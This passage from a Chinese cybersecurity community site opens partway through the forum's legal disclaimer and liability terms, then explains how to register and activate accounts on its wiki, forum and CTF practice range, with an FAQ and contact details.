    合法合规义务:用户在使用本论坛服务时,不得进行任何违法或违规活动,包括但不限于攻击论坛主站、传播恶意软件、侵犯他人隐私、进行非法交易、泄露国家秘密等。若用户违反上述义务,本论坛有权在不事先通知的情况下采取删除内容、封禁账号等措施,并保留配合司法机关调查的权利。

    三、免责条款
    违规行为免责:对于任何用户违反本论坛用户守则或国家法律法规的行为,以及因此类行为导致的任何直接或间接损失(包括但不限于数据丢失、系统瘫痪、名誉损害、法律诉讼、行政处罚等),本论坛及其管理团队、主办方不承担任何形式的责任。一切后果由违规用户自行承担。

    技术风险免责:本论坛提供的技术讨论、代码示例、工具下载等可能存在潜在风险(如漏洞利用可能对用户自身系统造成影响)。用户在使用或参考此类信息时,应自行评估风险并采取必要的安全措施。因使用本论坛信息导致的任何技术故障、数据损坏或安全事件,本论坛不承担责任。

    第三方链接免责:本论坛中可能包含指向第三方网站的链接。此类链接仅为方便用户提供,不代表本论坛对第三方网站内容的认可或担保。用户访问任何第三方链接所产生的一切风险和责任均由用户自行承担。

    不可抗力免责:因不可抗力(包括但不限于自然灾害、战争、骚乱、罢工、政府行为、互联网服务提供商故障、黑客攻击、计算机病毒等)导致本论坛无法正常运行或用户数据丢失、泄露、损坏的,本论坛在法律法规允许的范围内免于承担责任。

    用户纠纷免责:用户之间因在本论坛的交流、合作或争议而产生的任何纠纷(包括但不限于言语冲突、知识产权争议、经济纠纷等),应由当事人自行协商解决或通过法律途径处理。本论坛无义务介入此类纠纷,也不承担任何责任。

    四、权利保留
    管理权利:本论坛管理团队有权根据用户守则和本免责声明,对任何违规内容或行为采取必要措施,包括但不限于删除、屏蔽、禁言、封禁账号等,但本论坛不承担主动监控所有用户行为的义务。

    修改权利:本论坛保留随时修改、更新本免责声明的权利。修改后的免责声明一经发布,立即生效。用户继续使用本论坛服务即视为接受修改后的条款。

    最终解释权:本免责声明的最终解释权归赛博潇湘管理团队所有。

    请您自觉遵守法律法规和论坛规则,共同维护安全、友好、纯净的技术交流环境。

    赛博潇湘管理团队
    2026年3月11日

    发布在 社区守则及帮助
  • 赛博潇湘wiki及靶场使用说明

    赛博潇湘 Wiki 及靶场使用说明

    欢迎使用赛博潇湘平台!本平台包含 Wiki(知识库)论坛CTF 靶场 三个独立子系统。为保障安全与资源合理分配,三个平台的账号不互通,注册与激活方式各不相同。请务必仔细阅读以下说明,以免影响您的使用体验。


    1. 平台概述

    平台 主要功能 账号系统 激活方式
    赛博潇湘 Wiki 网络安全知识库、技术文档、教程 独立账号 注册后联系管理员手动激活
    赛博潇湘论坛 技术交流、问题求助、资源共享 独立账号 自助注册(无需特殊激活)
    CTF 靶场 在线夺旗训练、实战演练 独立账号 凭管理员统一发放的激活码注册/激活

    ⚠重要提示:三个平台的账号、密码、积分、权限均不互通,您需要在每个平台分别注册。


    2. 赛博潇湘 Wiki 使用说明

    2.1 注册流程

    1. 访问 Wiki 首页按提示注册或登录。
    2. 填写用户名、邮箱、密码等基本信息。
    3. 提交注册后,您的账号状态为“未激活”,此时无法浏览内部文档或进行编辑。

    2.2 激活方法

    • 注册完成后,必须通过以下任意一种方式联系管理员申请激活:
      • 发送邮件admin@cyberxiaoxiang.org,邮件标题请注明“Wiki激活申请”,内容中提供您的注册用户名注册邮箱
      • 加入官方 QQ 群/微信群(群号请见论坛置顶帖),私聊群主或管理员,发送“Wiki激活+用户名”。
    • 管理员通常会在 24 小时内完成激活。激活成功后您将收到邮件通知或群内回复。
    • 激活后即可正常登录并享有 Wiki 的阅读与贡献权限。

    2.3 注意事项

    • 请勿使用临时邮箱注册,否则可能被拒绝激活。
    • 若超过 3 个工作日仍未激活,请再次联系管理员。

    3. 赛博潇湘论坛 使用说明

    论坛采用自助注册即时开通模式,无需人工干预。

    1. 访问论坛首页,点击“立即注册”。
    2. 按提示填写信息,完成邮箱验证(部分邮箱可能存在延迟,请耐心等待或检查垃圾箱)。
    3. 注册成功后即可发帖、回帖、下载附件。

    论坛账号与 Wiki、靶场完全独立,请勿混淆用户名与密码。


    4. CTF 靶场 使用说明

    CTF 靶场采用激活码准入机制,每个激活码由管理员统一生成并发放。没有激活码无法注册/使用靶场

    请勿私下交易激活码,一经发现将封禁相关账号并追究责任。

    4.1 注册与激活步骤

    1. 访问靶场登录/注册页面。
    2. 点击“注册新账号”,填写用户名、邮箱、密码。
    3. 在“激活码”栏中准确输入管理员发放的激活码(区分大小写)。
    4. 提交后若激活码有效,账号即被激活,可直接登录使用。
    5. 若提示激活码无效或已使用,请检查输入或联系管理员。

    4.2 激活码使用规则

    • 每个激活码仅限注册一个账号,且一旦使用即失效。
    • 激活码通常设有有效期,请在有效期内完成注册。
    • 激活码与使用者身份绑定,请勿转借他人。

    5. 常见问题

    Q1:我忘记自己注册的是哪个平台了,怎么办?
    A:三个平台账号独立,若遗忘可分别尝试登录,或通过各平台“找回密码”功能重置。

    Q2:Wiki 激活邮件被退回怎么办?
    A:请检查邮箱地址是否正确,或更换 QQ、网易等主流邮箱再次发送申请。也可直接通过社群联系管理员。

    Q3:论坛注册后收不到验证邮件?
    A:请稍等 5~10 分钟,查看垃圾箱;若仍未收到,可尝试更换浏览器重试,或联系论坛技术支持。

    Q4:靶场激活码丢了/过期了怎么办?
    A:请联系原发放人(管理员/导师/队长)核实身份,申请重新发放。过期激活码无法恢复,需申请新码。


    6. 联系我们

    • 官方邮箱:support@cyberxiaoxiang.org(处理账号、激活码问题)

    赛博潇湘运营团队
    本说明最后更新:2026年2月
    版本:v1.0

    发布在 社区守则及帮助